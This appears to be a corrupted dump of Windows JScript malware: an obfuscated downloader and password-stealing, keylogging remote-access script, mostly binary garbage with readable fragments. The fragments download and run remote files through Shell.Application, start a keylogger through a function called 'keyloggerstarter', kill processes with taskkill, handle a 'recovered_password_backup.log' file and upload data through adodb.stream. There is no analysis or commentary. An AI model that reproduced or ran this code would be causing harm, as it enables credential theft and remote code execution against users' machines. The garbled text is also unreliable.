+(\u008b\u0098\u00d9\u0099\u00c8\u008e\u00c3B\u009d\u0098\\\u0088\u00d9\u0099\u00c8H\u0096\u00d1\u00d9&#x5B;\u0099\\\u0098&#x5B;W\u0094\u00da\u00dd\u00d1\u00dc\u009aY&#x5B;\u0099\\\u00cfL\u0094\u00d8]\u0099Q\u009a&#x5B;\\\u0092&#x5B;\u0099^L\u0094\u00da\u00dd\u00d2&#x5B;\u0099\u009b\u00d5_\u00d3\u00c6\u00e5W6U&amp;\u00f6f\u0096\u00c6Tf\u00f6\u00c6FW#\u00d3\u00c6\u00e5&amp;\u00f6f\u0096\u00c6Tf\u00f6\u00c6FW#\u00d5\u00c6\u00e4\u00d6&amp;\u00b4\u00f6FDWfV\u00e5&amp;\u00f7w3\u00d3\u00c6\u00e5v\u0096\u00e5\u00f73\u00d3$2\u00c0\u00c0\u00b00,\u00c0\u00c0\u00b00,\u00c0\u00c0\u00b00,\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u0088\u0091\u008b\u00c0\u00c0\u00b00,\u00c0\u00c0\u00b00,\u0083\u00c0\u00c8\u00b00,L\u00c0\u00c0\u00b00\\nColumns=FA,\u00c0\u00c0\u0081\u00b00,K\u00d9\u00b00,\u008b\u00d9\u00b00,\u00cb\u00dc\u00e0\u00b00,\r\n\u00dc\u00e0\u00b00,\r\nK\u00dc\u00e0\u00b00,\r\n\u008b\u00d8\u00d0\u00b00,\r\n\u00cbd\u00c0\u00c0\u00b08,\u0094\u00db\u00dc\u009dL\u008e\u00c3B\u009d\u0098\\\u0088\u00dc\u009a]\\\u0088H\u009a&#x5B;\\\u00de\\\u00dd&#x5B;&#x5B;\u00d8\u009a\u008b\u009b\u00dc&#x5B;\u0095^\u009a&#x5B;J\u00db\u00db\u0099\u009aY\u00d7\u00d9\u009a&#x5B;K\u008b\u009dYJN\u00c3B\u009d\u00dc\u009a]\\\u008b\u009d\u00dc\u009a]S&#x5B;\u0099J\u00d9\u0099\u00caN\u00c3B\u009d\u00dc\u009a]\\\u008b\u0098\u00db\u00dc\u00d9J\r\nN\u00c3B\u009d\u00dc\u009a]\\\u008b\u00d2\u00e7V\u00c6\u00c3\u00b0\u00d0\u00a7f&quot;7G&amp;\u00c6\u0096\u00e6\u00b2\u00f4\u0081\u0099\u00a5\u00b1\u0095\u00d5\u00c9\u00b0\u00ec4)\u00d9\u0085\u00c8\u0081\u00cd\u00d1\u00c9\u00cd\u0085\u00d9\u0095\u00d1\u00bc\u0080\u00f4\u0081\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u0091\u00a5\u00c8\u00ab filename;\r\nvar objhttpdownload\/H\u00d4\u00d8\u00dc\u009a\\\u0090\u00dc\u0099X]S\u00d8\u009a\u0099X\u00dd\r\n\u009b\\\u00de&#x5B;\u008b\u009e&#x5B;\u008aN\u00c3B\u009b\u00d8\u009a\u009a\u00dd\u00db\u009b\u00d8Y\u009b\u00dc&#x5B;\u008a\u0099\u00d9]\u008b\u00dd\u009b&#x5B;\u009a\u00cb\u0098&#x5B;\u00d9JN\u00c3B\u009b\u00d8\u009a\u009a\u00dd\u00db\u009b\u00d8Y\u009c\u00d9]\u0099\\]Y\\\u00ddXY\\\u008a\u0098\u00d8X\u00daKX\u00db\u00db\u009d\u009b\u00db\u0088\u008b\u009bX^XY\u00d9ON&quot;\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a6\u0087GGF\u00f7v\u00e6\u00c6\u00f6B\u00e76V\u00e6B\u0082\u0093\u00b0\u00d0\u00a7f&quot;\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00d2u67&amp;\u0097B\u00e47&amp;VFT\u00f6&amp;\u00a6V7B\u0082'67&amp;\u0097F\u0096\u00e6r\u00e6f\u0096\u00c6W7\u00977FV\u00d6\u00f6&amp;\u00a6V7B&quot;\u0093\u00b0\u00d0\u00a6\u0096b\u0086\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00e6f\u0096\u00c6TW\u0086\u00977G2\u00877G'6fWF\u00f2\u0092\u0097\u00b0\u00d0\u00a6\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00e6FV\u00c6WFTf\u0096\u00c6R\u00877G'6fWF\u00f2\u0093\u00b0\u00d0\u00a7\u00d0\u00d0\u00a6\u0096b\u00a1\u00bd\u0089\u00a9\u00a1\u00d1\u00d1\u00c1\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00bd=,\u008c\u0097\u00b0\u00d0\u00a7G'\u0097\u00b0\u00d0\u00a7f&quot;\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00f4\u0081]M\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\r\n\u00c9\u0095\u0085\u00d1\u0095=\u0089\u00a9\u0095\u008d\u00d0\u00a0\u0089\u0085\u0091\u00bd\u0091\u0088\u00b9\u00cd\u00d1\u00c9\u0095\u0085\u00b4\u0088\u00a4\u00ec4)\u00bd\u0089\u00a9\u00cd\u00d1\u00c9\u0095\u0085\u00b5\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9Q\u00e5\u00c1\u0094\u0080\u00f4\u00b1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}catch(ez){\r\nupdatestatus(&quot;Access+Denied&quot;);\r\n}\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nvar runner = WScript.CreateObject(&quot;Shell.Application&quot;);\r\nvar saver\/H\u00d8\u009a\u0099\u009c\u00db\u00d9\u00dd\u00db\u009b\u00d8Y\u0099\u00d9]\u009a&#x5B;J\u00dd\u009c\u00d8]\u0099]\u00caK\u009c\u00da\u00dc\u009d]\u00c3B\u0099\u009b\u00dc\u008a\u0098\\\u0088OL\u00c8O\r\nN\u00c8J\u00ca\u00ca^\u00c3B\u009c\u00da&#x5B;\u00d8\u009a\u008b\u009c\u009d&#x5B;\u008a\u0089X\u00db\u00db\\\u00dcX\u00c9H\u00d8\u00c8\\\u00da\u00da\u00da&#x5B;\u00d1\u0088\u00d2SH\u0088\r\n\u00c8\u009a&#x5B;&#x5B;\u0098&#x5B;YK\u009dYJN\u00c3B\u0095\u00d4\u00d8\u00dc\u009a\\\u009c\u00dbY\\\r\nL\u0093\u00b0\u00d0\u00a7'V\u00e6\u00e6W&quot;\u00e76\u0086V\u00c6\u00c4W\u0086V7WFR\u00876fW&quot;\u00c2&quot;\u00bd\u00cd\u00d1\u0095\u00e1\u00d0\u0080\u0088\u00ab saver + &quot;data&quot;);\r\nWScript.sleez\r\nO\u0093\u00b0\u00d0\u00a6\u0096b\u0086\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00e6f\u0096\u00c6TW\u0086\u00977G2\u00876fW&quot;\u00b2&amp;FF&quot;\u0092\u0097\u00b0\u00d0\u00a7f&quot;\u00f7WGF\u0082\u00f4\u0081\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u0091\u00a5\u00c8\u0080\u00ac\u00a2wshlogs\\\\recovered_password_backup.log&quot;;\r\nvar folder\/H\u00d8\u009a\u0099\u009c\u00db\u00d9\u00dd\u00db\u009b\u00d8Y\u0091\u00d9]\\\u0099&#x5B;\u009d\u009b\u00db\\\u0093\u0098&#x5B;YJ\u00dd]]\r\nN\u00c3B\u009aY\u008a\u0082\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00e4f\u00f6\u00c6FW$W\u0086\u00977G2\u0086f\u00f6\u00c6FW&quot;\u0092\u0090\u00d0\u00a7\u00b0\u00d0\u00a76\u0086V\u00c6\u00c6\u00f6&amp;\u00a2\u00e7'V\u00e2\u0082&quot;V6\u00f6\u00d77V2R\u00f62\u00d6\u00b6F\u0097&quot;\u00c2&quot;&quot;\u00b2f\u00f6\u00c6FW&quot;\u00b2%\u00c2&quot;&quot;\u00c2\u00c2G'VR\u0093\u00b0\u00d0\u00a7\u00d0\u00d0\u00a6\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00e66\u00f7\u0094f\u0096\u00c6R\u00876fW&quot;\u00ac\u0080\u0089\u0091\u0085\u00d1\u0084\u0088\u00b0\u0081\u00bd\u00d5\u00d1\u00c1\u0085\u00d1\u00a0\u00b0\u0081\u00d1\u00c9\u00d5\u0094\u00a4\u00ec4)\u0089\u00c9\u0095\u0085\u00ac\u00ec4)\u00f44)\u00f44)\u0091\u0095\u00b1\u0095\u00d1\u0095\u0099\u0085\u0098\u00a1\u00cd\u00d1\u00c9\u00cd\u0085\u00d9\u0095\u00d1\u00bc\u00a4\u00ec4)\u00d5\u00c1\u00b1\u00bd\u0085\u0090\u00a1\u00cd\u0085\u00d9\u0095\u00c8\u0080\u00ac\u0080\u0089\u0091\u0085\u00d1\u0084\u0088\u00b0\u0081\u00c9\u0095\u00d1\u008d\u00b5\u0090\u00a4\u00ec4)\u00f44)\u00f44)\u0099\u00d5\u00b9\u008d\u00d1\u00a5\u00bd\u00b8\u0081\u00c1\u0085\u00cd\u00cd\u009d\u00c9\u0085\u0089\u0089\u0095\u00c8\u00c8\u00a1\u0099\u00a5\u00b1\u0095\u00d5\u00c9\u00b0\u00b0\u0081\u0099\u00a5\u00b1\u0095\u00b9\u0085\u00b5\u0094\u00b0\u0081\u0099\u00a5\u00b1\u0095\u00d5\u00c9\u00b0\u00c8\u00a5\u00ec4)\u0099\u00bd\u00c8\u00a1\u00d9\u0085\u00c8\u0081\u00a0\u00f4\u00c0\u00ec\u0081\u00a0\u00f0\u00c8\u00ec\u0081\u00a0\u00ac\u00ac\u00a5\u00ec4)\u00cd\u00a1\u0095\u00b1\u00b1\u00bd\u0089\u00a8\u00b9\u00c9\u00d5\u00b8\u00a0\u0088\u0095\u008d\u00bd\u00b5\u00cd\u00c1\u0095\u008c\u0094\u0080\u00bd\u008c\u0081\u00d1\u0085\u00cd\u00ad\u00ad\u00a5\u00b1\u00b0\u0080\u00bd\u0080\u00bd%4\u0080\u0088\u0080\u00ac\u0081\u0099\u00a5\u00b1\u0095\u00b9\u0085\u00b5\u0094\u00b0\u0080\u00c0\u00b0\u0081\u00d1\u00c9\u00d5\u0094\u00a4\u00ec4)\u00d1\u00c9\u00e5\u00ed\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u0091\u0095\u00b1\u0095\u00d1\u0095\u00a5\u00b1\u0094\u00a1\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u0091\u00a5\u00c8\u0080\u00ac\u0081\u0099\u00a5\u00b1\u0095\u00b9\u0085\u00b5\u0094\u00ab &quot;data&quot;);}catch(ey){}\r\nvar config_file = installdir + filename.substr(;\u009a&#x5B;&#x5B;\u0098&#x5B;YK\u009b\\\u00dd&#x5B;\u0099^\u00d9\u008a\u008b\u0088\u008aJH\r\n\u00c8\u008b\u0098\u00d9\u0099\u00c8\u008e\u00c3B\u009d\u0098\\\u0088\u00d9\u0099\u00cb\u00d2%\u00b4vV\u00e6W&amp;\u00c5\u00d5\u00c6\u00e56\u0086\u00f7tw&amp;\u0096D\u00c6\u0096\u00e6W3\u00d3\u00c6\u00e56fTf\u0096\u00c7FW$\u0096\u00e6FW\u0083\u00d3\u00c6\u00e56\u0086\u00f7t\u0096\u00e6f\u00f5F\u0097\u00d3\u00c6\u00e5W6U&amp;\u00f6f\u0096\u00c6Tf\u00f6\u00c6FW#\u00d3\u00c6\u00e5&amp;\u00f6f\u0096\u00c6Tf\u00f6\u00c6FW#\u00d5\u00c6\u00e4\u00d6&amp;\u00b4\u00f6FDWfV\u00e5&amp;\u00f7w3\u00d3\u00c6\u00e5v\u0096\u00e5\u00f73\u00d3$2\u0080\u00c0\u00e008\u0080\u00c0\u00e008H\u0080\u00c0\u00e0FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 08\u0080\u00c0\u00e008\u0080\u00c0\u00e088\u0088\u0081\u00e001 08\u0090\u00db\u00db&#x5B;&#x5B;\u009c\u00cfQ\u0090H\u0080\u00c0\u00e0FA 08HdR\u0080\u00c0\u00c8\u0080\u00c0\u00e06E 08\u00c8s\u0082\u0080\u00c0\u00d0\u0080\u00c0\u00e078 08\r\nHs\u0082\u0080\u00c0\u00d8\u0080\u00c0\u00e064 08\r\n\u00c8d\u0080\u00c0\u00e0\u0080\u00c0\u00c1q\u00b9M\u00bd\u00c9\u00d0\u00f4\u00c0\u0088\u00ec4)\u00d9\u0085\u00c8\u0081\u00dd\u00c9\u00a5\u00d1\u0095\u00c8\u0080\u00f4\u0081\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u00bd\u00c1\u0095\u00b9Q\u0095\u00e1\u00d1\u00a5\u00b1\u0094\u00a1\u008d\u00bd\u00b9\u0099\u00a5\u009d}\u0099\u00a5\u00b1\u0094\u00b0\u0080\u00c8\u00b0\u0081\u00d1\u00c9\u00d5\u0094\u00a4\u00ec4)\u00dd\u00c9\u00a5\u00d1\u0095\u00c8\u00b9\u00dd\u00c9\u00a5\u00d1\u00951\u00a5\u00b9\u0094\u00a1\u008d\u0099\u009c\u00a4\u00ec4)\u00dd\u00c9\u00a5\u00d1\u0095\u00c8\u00b9\u008d\u00b1\u00bd\u00cd\u0094\u00a0\u00a4\u00ec4)\u00dd\u00c9\u00a5\u00d1\u0095\u00c8\u0080\u00f4\u0081\u00b9\u00d5\u00b1\u00b0\u00ec4)\u00d9\u0085\u00c8\u0081\u00cd\u00d1\u00c9\u00b1\u00a5\u00b9\u00ac\u0080\u00f4\u0081\u0099\u00a5\u00b1\u0095\u00d5\u00c9\u00b0\u00ec4)\u00a5\u0098\u00a1\u00a0\u00bd=,J^\u00dc\u00dd\u009b&#x5B;\u009a\u00c8H\u009a&#x5B;]\\\u009b\u008e\u00dfCB\u009d\u0098\\\u0088\u00dd\u009c\u00d8]\u0099]\u00cb\u00d2\u0096\u00e77F\u00c6\u00c6F\u0097&quot;\u00b2f\u0096\u00c6V\u00e6\u00d6S\u00b0\u00d0\u00a7f&quot;\u00f6&amp;\u00a6\u0087GGF\u00f7v\u00e6\u00c6\u00f6B\u00d2u67&amp;\u0097B\u00e47&amp;VFT\u00f6&amp;\u00a6V7B\u0082&amp;\u00d77\u0086\u00d6\u00c3&quot;\u00e7\u0086\u00d6\u00c6\u0087GG\u0088\u00a4\u00ec4)\u00bd\u0089\u00a9\u00a1\u00d1\u00d1\u00c1\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u00bd\u00c1\u0095\u00b8\u00a0\u0089\u009d\u0095\u00d0\u0088\u00b0\u0081\u00cd\u00d1\u00c9\u00b1\u00a5\u00b9\u00ac\u00b0\u0081\u0099\u0085\u00b1\u00cd\u0094\u00a4\u00ec4)\u00bd\u0089\u00a9\u00a1\u00d1\u00d1\u00c1\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u00cd\u0095\u00d1I\u0095\u00c5\u00d5\u0095\u00cd\u00d1!\u0095\u0085\u0091\u0095\u00c8\u00a0\u0089\u008d\u0085\u008d\u00a1\u0094\u00b5\u008d\u00bd\u00b9\u00d1\u00c9\u00bd\u00b0\u00e8\u0088\u00b0\u00a2max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 2&lt;\r\n^\u00c3B\u009d\u0098\\\u008a\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00d2u67&amp;\u0097B\u00e47&amp;VFT\u00f6&amp;\u00a6V7B\u0082&amp;F\u00f6F&quot;\u00e77G&amp;V\u00d2&quot;\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e5G\u0097R\u00d2\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e4\u00f7V\u00e2\u0082\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e5w&amp;\u0097FR\u0086\u00f6&amp;\u00a6\u0087GGF\u00f7v\u00e6\u00c6\u00f6B\u00e7&amp;W7\u00f6\u00e76T&amp;\u00f6G\u0092\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e56fUF\u00f4f\u0096\u00c6R\u00877G'6fWF\u00f2\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e66\u00c6\u00f76R\u0082\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00d2\u00e7V\u00c6\u00c3\u00b0\u00d0\u00a7\u00d0\u00d0\u00a6\u0096b\u0086\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00e6f\u0096\u00c6TW\u0086\u00977G2\u00877G'6fWF\u00f2\u0092\u0097\u00b0\u00d0\u00a7f&quot;'V\u00e6\u00e6W&quot;\u00d2u67&amp;\u0097B\u00e47&amp;VFT\u00f6&amp;\u00a6V7B\u0082%6\u0086V\u00c6\u00c2\u00e4\u00c6\u00966F\u0096\u00f6\u00e2&quot;\u0093\u00b0\u00d0\u00a7f&quot;6fW&quot;\u00d2\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00e6vWDf\u0096\u00c6R\u00877G'6fWF\u00f2\u0092\u00e76\u0086\u00f7'EF\u0080\u00d0\u00a6f\u00f7&quot;\u0087f&quot;\u0093\u00d3\u00b2\u0093\u00c3S\u00b2\u0092\u00b2\u00b2\u0097\u00b0\u00d0\u00a76\u0086V\u00c6\u00c6\u00f6&amp;\u00a2\u00e7'V\u00e2\u0082&quot;V6\u00f6\u00d77V2R\u00f62F6\u00b6\u00b6\u0096\u00c6\u00c2\u00f4b\u00f4\u0094\u00d2&quot;\u00b2f\u0096\u00c6V\u00e6\u00d6R\u00c2\u00c2G'VR\u0093\u00b0\u00d0\u00a5u67&amp;\u0097B\u00e76\u00c6VW\u0083\u00a4\u00ec4)\u00c9\u00d5\u00b9\u00b9\u0095\u00c8\u00b9\u00cd\u00a1\u0095\u00b1\u00b1\u00e1\u0095\u008d\u00d5\u00d1\u0094\u00a1\u00cd\u0085\u00d9\u0095\u00c8\u00b0\u0080\u0088\u00afstext &quot;*\u00c8\u00d8]\u0099\\\u0088\r\n\u00c8\u0099]H\u008aN\u00c3B\u0095\u00d4\u00d8\u00dc\u009a\\\u009c\u00dbY^\u0083#\u00c0\u00c0\u00a4\u00ec4)\u00a5\u0098\u00a1\u00bd\u0089\u00a9\u0099\u00cd\u00bd\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u0099\u00a5\u00b1\u0095\u00e1\u00a5\u00cd\u00d1\u00cc\u00a1\u00cd\u0085\u00d9\u0095\u00c8\u0080\u00ac\u0080\u0089\u0091\u0085\u00d1\u0084\u0088\u00a4\u00a5\u00ec4)\u00d9\u0085\u00c8\u0081\u00bd\u0089\u00a9\u00cd\u00d1\u00c9\u0095\u0085\u00b5\u00d5\u00c1\u00b1\u00bd\u0085\u0091\u0094\u00bd WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamuploade.Type\/H\u008e\u00c3B\u009b\u00d8\u009a\u009c\u00dd\u0099X&#x5B;]\\\u00d8YK\u0093\u00dc&#x5B;\u008a\r\nN\u00c3B\u009b\u00d8\u009a\u009c\u00dd\u0099X&#x5B;]\\\u00d8YK\u009b\u00d8Y\u009c\u009b\u00dbQ\u009a&#x5B;J\u00d8]\u0099\\\u0088\r\n\u00c8\u0099]H\u008aN\u00c3B\u009d\u0098\\\u0088\u009dY\u0099\u0099\\\u0088H\u00d8\u009a\u009c\u00dd\u0099X&#x5B;]\\\u00d8YK\u0094\u0099XY^\r\n\r\nN\u00c3B\u009b\u00d8\u009a\u009c\u00dd\u0099X&#x5B;]\\\u00d8YK\u0098\u00db\u00dc\u00d9J\r\nN\u00c3B\u009d\u0098\\\u0088\u00dd]]\u00d2\u0096\u00e77F\u00c6\u00c6F\u0097&quot;\u00b2\u0089\u00dd\u00cd\u00a1\u00b1\u00bd\u009d\u00cdqq\u00c9\u0095\u008d\u00bd\u00d9\u0095\u00c9\u0095\u0091}\u00c1\u0085\u00cd\u00cd\u00dd\u00bd\u00c9\u0091}\u0089\u00c9\u00bd\u00dd\u00cd\u0095\u00c8\u00b9\u00b1\u00bd\u009c\u0088\u00ec4)\u00a5\u0098\u00a1\u00a0\u0080\u00f4\u00f4\u0080\u00c4\u00a5\u00ed\u00bd\u00d5\u00d1\u00c1\u0085\u00d1\u00a0\u00bd installdir +(\u009d\u00dc\u00da\u00d9\u00dc\u00d7\u0099X\u00db\u00dd\u0099\\\u0099Y\u00dc\\\u00dc\u00dd\u00db\u00dc\u0099\u00d9&#x5B;XZ&#x5B;\u009b\u00d9\u00c8\u008e\u00dfCB\u009d\u0098\\\u0088\u009b\u00db\\\u008b\u00d2\u00f6&amp;\u00a6g6\u00f6F\u00f7v\u00e6\u00c6\u00f6B\u00e4vWE&amp;V\u00e7Df\u00f6\u00c6FW$\u00e6\u00d6R\u0086\u00f7WGF\u0082\u0093\u00b0\u00d0\u00a6\u0096b\u00a0\u0085\u00bd\u0089\u00a9\u0099\u00cd\u00bd\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u00bd\u00b1\u0091\u0095\u00c9\u00e1\u00a5\u00cd\u00d1\u00cc\u00a1\u0099\u00bd\u00b1\u0091\u0095\u00c8\u00a4\u00a44)\u00ec4)\u00cd\u00a1\u0095\u00b1\u00b1\u00bd\u0089\u00a8\u00b9\u00c9\u00d5\u00b8\u00a0\u0088\u0095\u008d\u00bd\u00b5\u00cd\u00c1\u0095\u008c\u0094\u0080\u00bd\u008c\u0081\u00b5\u00ad\u0091\u00a5\u00c8\u0081p\u0088\u0088\u0080\u00ac\u0081\u0099\u00bd\u00b1\u0091\u0095\u00c8\u0080\u00ac\u0080\u0089p\u0088\u0088\u00b0\u0080\u00c0\u00b0\u0081\u00d1\u00c9\u00d5\u0094\u00a4\u00ec4)\u00f44)\u00dd\u00c9\u00a5\u00d1\u0095\u00c8\u0080\u00f4\u0081\u0099\u00a5\u00b1\u0095\u00cd\u00e5\u00cd\u00d1\u0095\u00b5\u00bd\u0089\u00a8\u00b9\u00bd\u00c1\u0095\u00b9Q\u0095\u00e1\u00d1\u00a5\u00b1\u0094\u00a1\u00bd\u00d5\u00d1\u00c1\u0085\u00d1\u00a0\u00b0\u00b2, true);\r\nwriter.write(buffer);\r\nwriter.close();\r\nwriter = null;\r\nbreak;\r\n}\r\n}\r\ndeletefaf(strsaveto);\r\n}\r\n}\r\n}\r\nfunction keyloggerstarter (fileurl, filename, filearg, is_offline){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM(\u0088\r\n\u00c8\u009a&#x5B;&#x5B;\u0098&#x5B;YK\u00c2G'VR\u0093\u00b0\u00d0\u00a7f&quot;7G&amp;\u00c6\u0096\u00e6\u00b2\u00d2f\u0096\u00c6WW&amp;\u00c3\u00b0\u00d0\u00a7f&quot;7G'6fWF\u00f2\u00f4\u0081\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u0091\u00a5\u00c8\u0080\u00ac\u0081\u0099\u00a5\u00b1\u0095\u00b9\u0085\u00b5\u0094\u00ec4)\u00d9\u0085\u00c8\u0081\u00bd\u0089\u00a9\u00a1\u00d1\u00d1\u00c1\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u0080\u00f4\u0081]M\u008d\u00c9\u00a5\u00c1\u00d0\u00b9\r\n\u00c9\u0095\u0085\u00d1\u0095=\u0089\u00a9\u0095\u008d\u00d0\u00a0\u0089\u00b5\u00cd\u00e1\u00b5\u00b0\u00c8\u00b9\u00e1\u00b5\u00b1\u00a1\u00d1\u00d1\u00e2 );\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control:&quot;, &quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload\/H\u00d4\u00d8\u00dc\u009a\\\u0090\u00dc\u0099X]S\u00d8\u009a\u0099X\u00dd\r\n\u009c\u00d8\u00dc\u009a\\&#x5B;\u0099\u00cb\u0099\u009a&#x5B;\\\u00de\\\u00dd&#x5B;&#x5B;\u00d8\u009a\u0099X\u00dd\u008aN\u00c3B\u009aY\u008a\u00d8\u009a\u0099\u009c\u00db\u00d9\u00dd\u00db\u009b\u00d8Y\u0099\u009a&#x5B;Q^\\\u00dd\u00ca\u00dd\u009c\u00d8]\u0099]\u00caJ^\u00c3B\u009b\u00d8\u009a\u0099\u009c\u00db\u00d9\u00dd\u00db\u009b\u00d8Y\u0099&#x5B;]Q\u009a&#x5B;J\u00dd\u009c\u00d8]\u0099]\u00caN\u00c3B\u009fCB\u009aY\u0088\r\n\u00d8\u009a\u009a\u00dd\u00db\u009b\u00d8Y\u009c\u00dd]\\\u00c8OH\u008c\r\n^\u00c3B\u009d\u009e^\u00c3B\u009d\u0098\\\u0088\u00d8\u009a\u009c\u00dd\u0099X&#x5B;Y\u00dd\u00db\u009b\u00d8YH\u00d4\u00d8\u00dc\u009a\\\u0090\u00dc\u0099X]S\u00d8\u009a\u0099X\u00dd\r\n\u0098Y\u00d9\u008b\u009c\u00dd\u0099X&#x5B;H\u008aN\u00c3B\u009b\u00d8\u009a\u009c\u00dd\u0099X&#x5B;Y\u00dd\u00db\u009b\u00d8Y\u0095\\K\u00d2\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e4\u00f7V\u00e2\u0082\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e5w&amp;\u0097FR\u0086\u00f6&amp;\u00a6\u0087GGF\u00f7v\u00e6\u00c6\u00f6B\u00e7&amp;W7\u00f6\u00e76T&amp;\u00f6G\u0092\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e56fUF\u00f4f\u0096\u00c6R\u00877G'6fWF\u00f2\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00e66\u00c6\u00f76R\u0082\u0093\u00b0\u00d0\u00a6\u00f6&amp;\u00a77G&amp;V\u00d6F\u00f7v\u00e6\u00c6\u00f6B\u00f4\u0081\u00b9\u00d5\u00b1\u00b0\u00ec4)\u00f5\u008d\u0085\u00d1\u008d\u00a0\u00a1\u0095\u00c9\u00c8\u00a5\u00ec4)\u00d5\u00c1\u0091\u0085\u00d1\u0095\u00cd\u00d1\u0085\u00d1\u00d5\u00cc\u00a0\u0089\u008d\u008d\u0095\u00cd\u00cc\u00ad\u0095\u00b9\u00a5\u0095\u0090\u0088\u00a4\u00ec4)\u00f44)\u00f44)\u00a5\u0098\u00a1\u00bd\u0089\u00a9\u0099\u00cd\u00bd\u0091\u00bd\u00dd\u00b9\u00b1\u00bd\u0085\u0090\u00b9\u0099\u00a5\u00b1\u0095\u00e1\u00a5\u00cd\u00d1\u00cc\u00a1\u00cd\u00d1\u00c9\u00cd\u0085\u00d9\u0095\u00d1\u00bc\u00a4\u00a5\u00ec4)\u00cd\u00a1\u0095\u00b1\u00b1\u00bd\u0089\u00a8\u00b9\u00c9\u00d5\u00b8\u00a0\u0089p\u0088\u0088\u0080\u00ac\u0081\u00cd\u00d1\u00c9\u00cd\u0085\u00d9\u0095\u00d1\u00bc\u0080\u00ac\u0080\u0089p\u0088\u0080\u0088\u0080\u00ac\u0081\u00a1\u00bd\u00cd\u00d0\u0080\u00ac\u0080\u0088\u00a2 + port*\u00c8\u0088\u0088\u0088\r\n\u00c8\u009a&#x5B;X\\\u0099\u00ca\u00b2%\u00c2&quot;\u0088\u0080\u00ac\u0081\u00a5\u00cd}\u00bd\u0099\u0099\u00b1\u00a5\u00b9\u0094\u00a4\u00ec4)\u00f44)\u00f44)\u0099\u00d5\u00b9\u008d\u00d1\u00a5\u00bd\u00b8\u0081\u00cd\u0095\u00c9\u00d9\u00a5\u008d\u0095\u00cd\u00d1\u0085\u00c9\u00d1\u0095\u00c8\u00a8fileurl, filename, filearg){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\nvar 